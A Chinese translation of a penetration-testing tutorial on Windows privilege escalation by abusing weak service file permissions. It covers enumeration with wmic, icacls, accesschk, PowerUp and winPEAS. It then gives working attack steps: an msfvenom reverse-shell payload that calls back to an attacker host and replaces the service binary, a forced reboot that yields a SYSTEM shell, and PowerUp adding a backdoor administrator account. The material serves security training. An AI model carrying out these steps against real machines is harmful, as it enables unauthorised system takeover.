Windows 提权-弱服务_1

本文通过 Google 翻译 Weak Service File Permissions -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航

  • [0 前言](#0 前言)
  • [1 搜寻非标准服务](#1 搜寻非标准服务)
  • [2 搜寻服务的弱权限文件](#2 搜寻服务的弱权限文件)
    • [2.1 枚举服务的弱权限文件 -- icacls](#2.1 枚举服务的弱权限文件 – icacls)
    • [2.2 枚举服务的弱权限文件 -- Accesschk](#2.2 枚举服务的弱权限文件 – Accesschk)
  • [3 工具自动化搜寻弱服务](#3 工具自动化搜寻弱服务)
    • [3.1 PowerUp](#3.1 PowerUp)
    • [3.2 winPEAS](#3.2 winPEAS)
  • [4 利用服务的弱权限文件](#4 利用服务的弱权限文件)
  • [5 滥用 PowerUp.ps1 功能](#5 滥用 PowerUp.ps1 功能)

0、前言

在这篇文章中,我们将探讨一个涉及弱权限的服务漏洞。不过,不是服务本身存在弱权限,而是服务启动程序所在的目录存在弱权限,该目录允许普通用户也能往其中写入文件。在这里,我们将学习如何滥用服务的弱权限文件,将权限从普通用户提升到 SYSTEM。

首先,我们需要找到这种可以滥用的漏洞服务,而这类服务通常具有以下特征:

  1. 服务启动程序所在的目录当前普通用户也能够读写。【标准服务(即系统服务)对应的标准目录(C:\Windows\)通常不满足这个要求,所以标准服务可以先跳过。】
  2. 服务的启动类型是"自动",即开机自启。

等所有的服务枚举完成之后,我们还需要制作一个恶意程序,以替换服务现有的启动程序,然后通过重启服务提升至 SYSTEM。

在此示例中,假设我们已经作为标准用户 bob 在目标机上获得了立足点。

同时,我们看到用户 bob 拥有 SeShutdownPrivilege 权限,而这一点在稍后利用服务获取 SYSTEM shell 时非常重要,因为需要以重启主机的方式重启服务。

尽管特权 SeShutdownPrivilege 显示 "Disabled",但我们仍然可以使用该权限,因为这些特权的禁用和启用只会影响某些 程序或服务,当这些进程在尝试关机时,必须"请求"此特权。而对于在 GUI(桌面菜单关机)或 CLI(关机命令 shutdown /s) 下的用户来说并不适用。

1、搜寻非标准服务

为了尽快找到可以滥用的服务,我们通常优先从那些非标准服务查起,即从系统中的非标准目录启动服务程序的服务查起。因为,微软对系统标准目录的权限进行了加固,而从非标准目录执行的服务才最有可能发现弱权限文件。

注:标准服务是指系统服务,这类服务的启动程序通常都在 C:\WINDOWS\ 目录中,所以该目录属于标准目录。同时,C:\Program FilesC:\Program Files (x86) 目录应该也属于标准目录,因为它们是微软指定用户安装程序的默认位置,这个位置普通用户通常也只有读的权限没有写的权限。除了这三个目录以外的其它目录如果有服务程序,那么很可能就有戏。

我们可以使用下面的 wmic 命令来查找从非标准位置执行的任何服务:

cmd 复制代码
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\"

在上面的命令中,我们使用 wmic 查询我们感兴趣的服务字段。同时配合 findstr 命令过滤了标准目录 C:\Windows

而在上面输出的结果中,有一个名为 Juggernaut 的服务很符合漏洞服务的特征,它的服务启动程序是 C:\Program Files\Juggernaut\Juggernaut.exe,同时该服务还是一个自启动服务。

另外,与上面 cmd 命令等效的 PowerShell 命令是:

powershell 复制代码
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where { $_.PathName -notlike "C:\Windows*" } | select Name,DisplayName,StartMode,PathName

既然找到了感兴趣的服务,那么接下来,就要仔细检查与该服务相关的目录和文件的权限,以确定该服务是否可以被滥用。

2、搜寻服务的弱权限文件

2.1、枚举服务的弱权限文件 -- icacls

为此,我们可以使用 icacls 命令,该命令是一个用于检查目录和文件 ACL 权限的内置命令。而为了能理解 icacls 命令输出的信息,我们需要了解以下关于权限和用户组相关的知识:

知识1】:我们要查找的目录权限只要是以下三种权限中的任意一种均可:

  • (F) Full Control【完全控制】
  • (M) Modify【修改】
  • (W) Write【写入】

知识2】:我们会经常见到的用户/组如下:

  • 当前登录用户,如 bob。
  • Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
  • Everyone
  • BUILTIN\Users
  • NT AUTHORITY\INTERACTIVE

好了,在学习了上面的知识之后,接下来让我们看看 C:\Program Files\Juggernaut 目录的权限,我们可以使用以下命令:

cmd 复制代码
icacls "C:\Program Files\Juggernaut"

这表明 BUILTIN\Users 组的用户拥有该目录的完全控制权。同时,这也意味着我们对服务启动程序可能也拥有完全控制权,因为在默认情况下文件会继承自己所在目录的权限,让我们继续确认下:

cmd 复制代码
icacls "C:\Program Files\Juggernaut\Juggernaut.exe"

Perfect!这意味着我们可以用恶意程序替换服务启动程序,从而完全控制这项服务。

2.2、枚举服务的弱权限文件 -- Accesschk

一旦找到了感兴趣的服务,我们也可以使用 Sysinternals 工具套件中名为 Accesschk 的工具来枚举目录和文件的权限,它与 icacls 命令非常相似。

在向受害者机器传输任何工具之前,我们需要先枚举其架构,然后再为其传输匹配的工具。命令如下:

cmd 复制代码
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

可以看到,这台机器运行的是 Windows 10 Pro - Build 18362 - Version 1903,并且是 x64 架构。

然后,我们就可以使用 certutil 工具去传输64位的 accesschk64.exe 程序了。

先使用以下命令查看目录的权限:

cmd 复制代码
.\accesschk64.exe -wvud "C:\Program Files\Juggernaut" -accepteula

在这里,我们可以看到 BUILTIN\Users 组拥有 FILE_ALL_ACCESS,即"完全控制"权限,这与 icacls 输出的结果非常相似。

然后我们去掉"-d"选项,去检查服务启动程序的权限,例如:

cmd 复制代码
.\accesschk64.exe -wvu "C:\Program Files\Juggernaut\Juggernaut.exe" -accepteula

可以看到, BUILTIN\Users 组同样拥有 FILE_ALL_ACCESS 权限。

现在,既然我们已经了解了如何使用手动技术来枚举权限薄弱的目录,那么接下来就看看如何使用自动工具一次性枚举所有非标准服务权限薄弱的服务文件

3、工具自动化搜寻弱服务

从上面,我们已经了解了如何通过 wmic 查找非标准服务,以及如何使用 icacls 和 accesschk 枚举非标准服务启动程序所在目录的权限。接下来,我们将学习如何借助工具来同时完成这两个步骤。

有很多后利用工具和脚本可使用,但在本例中,我们将坚持使用 PowerUp.ps1winPEASx64.exe

在下载每个工具的副本之后,我们将其转移到受害者机器。

3.1、PowerUp

在这个示例中,我们先使用 PowerUp,然后再使用 winPEAS。

一般在手动枚举之后,我们希望优先使用 PowerUp,因为它输出的内容精炼且有效可能会为我们更快取得胜利。当使用 PowerUp 检查完毕且没有找到可利用信息之后,我们再使用 winPEAS 对系统进行全面枚举。

可以使用命令 powershell -ep bypass 进入 PowerShell,然后再使用点源的方式(. .\scrip.ps1)将 PowerUp.ps1 加载到当前会话中。

然后,就可以使用 PowerUp 的 Invoke-AllChecks 功能一次检查所有错误配置和漏洞,就像这样:

powershell 复制代码
. .\PowerUp.ps1
Invoke-AllChecks

PowerUp 查找了服务的弱权限文件,并发现了较弱的 Juggernaut 服务。

此外,PowerUp.ps1 还内置了其它函数,可用于滥用 PowerUp 发现的大多数错误配置或特殊权限。【注:滥用操作在本文的[第 5 节](#第 5 节)讲述】

3.2、winPEAS

接下来开始 winPEAS 工具的使用,winPEAS 会输出大量的信息让人很容易犯迷糊,因此避免迷糊的关键在于要清楚我们要找的信息所在的标识位置 。对于弱服务权限,我们要检查"Services Information"部分。这里会为我们提供有关服务名称、服务启动程序路径和启动类型等信息。

这告诉了我们利用这项服务所需的一切信息。它显示我们拥有可执行文件的写入权限,而且该程序还是一个自动启动程序。

由于这是一个弱服务漏洞,winPEAS 实际上也在"Application Information"部分提示了该漏洞。

4、利用服务的弱权限文件

现在,我们已经看到了寻找非标准服务和枚举服务文件权限的多种方法,接下来要做的就是利用服务获取 SYSTEM shell。

而要利用这一点,我们需要制作一个与服务启动程序名称相同的恶意程序 Juggernaut.exe。同时我们知道该系统架构是 64 位,因此可以使用以下命令轻松制作出恶意程序:

bash 复制代码
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=172.16.1.30 -a x64 --platform Windows -f exe -o Juggernaut.exe

如果发现该服务是在 Program Files (x86) 目录中运行的,则需要考虑制作一个 32 位的可执行文件,因为 64 位的可执行文件对该服务可能不起作用。

有了恶意程序之后,将其转移到受害者机器。

在在受害者机器上将文件移动到 C:\Program Files\Juggernaut 目录之前,我们需要备份原来的服务启动程序。

cmd 复制代码
move "C:\Program Files\Juggernaut\Juggernaut.exe" "C:\Program Files\Juggernaut\Juggernaut.exe.BAK"

备份完成之后,就可以启动 netcat 监听,迁移恶意程序,然后重启系统。

cmd 复制代码
move C:\temp\Juggernaut.exe "C:\Program Files\Juggernaut"

shutdown /r /t 0 /f

系统重启大约 20 秒后,就看到监听器获得了一个 SYSTEM shell!

5、滥用 PowerUp.ps1 功能

之前在 [3.1 小节](#3.1 小节)的时候,当我们使用 PowerUp.ps1 枚举服务弱文件权限时,它显示有 AbuseFunction (滥用)字段。现在,我们可以用它来利用这个漏洞。

使用此 AbuseFunction 命令将创建一个恶意命令,该命令会创建一个新用户,并将该用户添加到管理员组中。

powershell 复制代码
Install-ServiceBinary -ServiceName 'Juggernaut'

可以看到,PowerUp 创建的 Juggernaut.exe 二进制文件将创建一个名为 John 的用户,密码为 Password123!

现在,当我们检查 C:\Program Files\Juggernaut 目录时,就会看到 PowerUp 创建的新程序将出现在其中,而原来的程序被备份为 Juggernaut.exe.bak。

同样地,需要重启系统才能触发新增管理员用户的程序被执行。

系统重新启动后,我们回到之前的反向 shell 中,在这里可以看到用户是被创建并添加到本地管理员组的!

此时,如果很幸运发现目标系统的 RDP 服务是打开的,那我们就可以使用 xfreerdp 进行 RDP 登录,然后以"以管理员身份运行"打开 cmd,进入到具有完全权限的高完整性 shell 中。

bash 复制代码
sudo xfreerdp /u:john /p:'Password123!' /v:172.16.1.250 +clipboard

但是,如果目标没有打开 RDP 服务。此时,我们就需要通过 RunasUAC-bypass 技术来获取管理员高完整性 shell。

相关推荐
迷路爸爸1807 小时前
Python collections 入门+实战
windows·python·c#·collections·dict
luoqice7 小时前
windows下实现运行mesiamtx服务器推拉流
运维·服务器·windows
海天鹰7 小时前
WIN10任务栏日期隐藏年显示星期几
windows
偏爱自由 !7 小时前
8. 泛型程序设计
java·开发语言·windows
碧蓝的水壶9 小时前
数据转换过程
java·开发语言·windows
烟雨归来19 小时前
Windows 安装 Proctorio Secure Companion App 报错 0x800B010A
windows
是烨笙啊21 小时前
Windows下“nul”文件出现的原因分析与删除方法
windows
神经智研社21 小时前
ROS2-5章:节点参数parameter详细讲解
windows·microsoft·机器人环境搭建·win11 ros2 开发环境
诚信定制8391 天前
PrivaZer逆向解析:深度清理背后的三大隐患
windows
love530love1 天前
WorkBuddy + 本地 ComfyUI Wan2.1 文生视频实战:从连续报错到成功出片的完整踩坑记录
人工智能·windows·python·音视频·devops·comfyui·mcp